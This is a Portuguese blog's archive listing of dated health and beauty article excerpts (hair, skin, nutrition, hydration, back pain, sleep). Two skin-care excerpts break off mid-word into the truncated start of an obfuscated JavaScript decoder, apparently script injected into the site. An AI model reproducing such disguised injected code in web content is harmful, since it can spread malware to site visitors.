Mai 16, 2016 | Equilíbrio, Estilo e beleza
Todas nós adoramos os dias mais quentes. O sol regressou e já apetece ir à praia. Saiba que cuidados deve ter para conseguir um cabelo lindo e saudável. Foto: yourhaircolors Foto: cdn Mantenha o cabelo e o couro cabeludo sempre limpos: Com o calor suamos mais, por...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar
Pequeno-almoço alcalino para um despertar saudável por Dra. Rita Boavida, nutricionista Entre a última refeição do dia e a primeira da manhã, o nosso corpo fica sujeito a um longo período de jejum. Isto significa que, pela manhã, ao acordarmos, é necessário...
Mai 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba que cuidados deverá ter com a pele nos dias quentes. Nestes dias mais quentes, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 27, 2016 | Equilíbrio, Saúde e bem estar
Saiba que vegetal faz bem a quê, por Rita Boavida, nutricionista. Vivemos numa época sem precedentes em termos de abundância alimentar, mas, felizmente, os portugueses procuram cada vez mais consumir alimentos saudáveis e naturais para alcançar a saúde. Contudo, para...
Abr 25, 2016 | Equilíbrio, Estilo e beleza
Conheça os cuidados básicos a ter com a pele do rosto O rosto é a primeira parte do corpo em que reparamos qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 23, 2016 | Equilíbrio, Saúde e bem estar
7 Mitos sobre a sua coluna Frente a uma dor nas costas é palpável a vontade dos doentes de saberem tudo sobre a causa deste sofrimento. Os melhores tratamentos? A causa? O que alivia? O que não deve fazer? Entre pesquisas frenéticas e conversas assustadoras, as...
Jan 29, 2016 | Equilíbrio, Saúde e bem estar
12 Sinais de que Bebe Pouca Água – Não há no mundo nada mais refrescante do que um bom copo de água. A água no seu estado natural produz muito mais prazer e saúde do que um café ou uma gasosa ou refrigerante. Mas mesmo assim, muitas pessoas não ingerem a...
Dez 4, 2015 | Equilíbrio, Saúde e bem estar
Acordar cedo não precisa de ser um suplício! Já lá diz o ditado: deitar cedo e cedo erguer, dá saúde e faz crescer. É verdade, mas custa tanto. Todas as manhãs o menino soninho pede sempre ao malvado senhor despertador só mais 10 minutos, só mais 10 minutos. Mas o...
